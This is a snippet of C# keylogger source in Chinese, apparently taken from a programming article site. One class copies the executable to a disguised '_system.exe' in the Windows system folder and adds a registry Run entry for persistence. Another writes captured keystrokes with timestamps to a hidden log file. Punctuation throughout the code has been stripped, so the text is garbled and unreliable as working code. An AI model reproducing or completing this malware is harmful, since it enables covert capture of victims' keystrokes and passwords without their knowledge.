這是RegistryReport 類的實現 public void MoveFile()
{
//判斷該位置是否存在_systemexe如果不是就把程序移動到該位置否則返回
if(!FileExists(c:windowssystem_systemexe))
{
FileMove(ApplicationExecutablePathc:windowssystem_systemexe);
}
else
return;
}
//在注冊表裡寫如啟動信息
public void registryRun()
{
RegistryKey key=RegistryCurrentUserCreateSubKey(SoftwareMicrosoftWindowsCurrentVersion
un);
keySetValue(c:windowssystem_systemexe);
keyClose();
}
這是Report類的實現: public void FirstWrite()
{
StreamWriter sw = new StreamWriter(c:/windows/system/keyReporttxttrue);
swWriteLine(************* LittleStudio Studio ************* );
swWriteLine(******** + DateTimeTodayYearToString() +
+ DateTimeTodayMonthToString() +
+ DateTimeTodayDayToString() +
+ DateTimeNowHourToString() + :
+ DateTimeNowMinuteToString() + :
+ DateTimeNowSecondToString() + ********);
swClose();
}
public void WriteDate(string keyEventsstring keyDate)
{
try
{
StreamWriter sw = new StreamWriter(c:/windows/system/keyReporttxttrue);
swWriteLine(keyDate + 鍵 + keyEvents +
+ DateTimeNowHourToString() + :
+ DateTimeNowMinuteToString() + :
+ DateTimeNowSecondToString());
swClose();
}
catch{}
return;
}
From:http://tw.wingwit.com/Article/program/net/201311/12331.html